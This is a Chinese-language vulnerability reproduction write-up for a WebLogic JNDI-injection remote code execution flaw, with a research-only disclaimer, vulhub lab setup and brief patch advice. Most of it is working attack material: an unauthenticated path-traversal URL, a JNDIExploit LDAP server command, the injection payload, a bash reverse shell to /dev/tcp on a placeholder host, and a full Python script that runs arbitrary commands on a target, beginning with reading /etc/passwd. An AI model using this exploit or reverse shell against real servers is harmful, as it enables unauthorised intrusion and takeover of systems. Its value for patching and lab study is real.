声明
本篇文章仅用于漏洞复现和技术研究,切勿将文中涉及攻击手法用于非授权下的渗透攻击行为,出现任何后果与本作者无关,切记!!!
一、漏洞概述
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
该漏洞为WebLogic的远程代码执行漏洞,漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。
二、影响版本
- Weblogic Server 10.3.6.0.0
- Weblogic Server 12.1.3.0.0
- Weblogic Server 12.2.1.3.0
- Weblogic Server 12.2.1.4.0
- Weblogic Server 14.1.1.0.0
三、环境搭建
这里借助CVE-2020-14882
对此漏洞进行复现测试
git clone
https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
浏览器访问,如下图所示,环境搭建成功。
四、漏洞分析
漏洞分析请参考:
https://zhuanlan.zhihu.com/p/404255545
https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw
调试分析请参考:
https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg
五、漏洞复现
未授权访问,如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞,http://X.X.X.X:7001/console/css/%252e%252e%252f/consolejndi.portal
VPS上启动LDAP(运行LDAP需要Java 1.8版本环境)
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPS_ip
启动Burp
POC: _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)
执行系统命令
VPS这边有回显数据
反弹Shell
命令:bash -i >& /dev/tcp/X.X.X.X/端口号 0>&1
Cmd: bash -c {echo, {反弹shell命令Base64加密后的数据}}|{base64,-d}|{bash,-i}
POC漏洞检测(这里一定要把运行LDAP)
import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des:
http://wiki.peiqi.tech
\033[0m')
print('+ \033[34mGithub :
https://github.com/PeiQi0
\033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Weblogic 多个版本 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>>
http://xxx.xxx.xxx.xxx
\033[0m')
print('+ \033[36mLDAP >>> ldap://xxx.xxx.xxx;xxx:1389 \033[0m')
print('+------------------------------------------')
def POC_1(target_url, ldap_url, cmd):
vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
print('\033[36m[o] 正在请求: {}'.format(vuln_url))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cmd": cmd
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "root:" in response.text:
print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 命令执行失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)
def POC_2(target_url, ldap_url, cmd):
vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
print('\033[36m[o] 正在请求: {}'.format(vuln_url))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cmd": cmd
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 响应为:\n{} \033[0m".format(response))
except Exception as e:
print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
ldap_url = str(input("\033[35mLdap >>> \033[0m"))
POC_1(target_url, ldap_url, cmd="cat /etc/passwd")
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
sys.exit(0)
else:
POC_2(target_url, ldap_url, cmd)
检测结果如下:
六、修复建议
1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;
2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html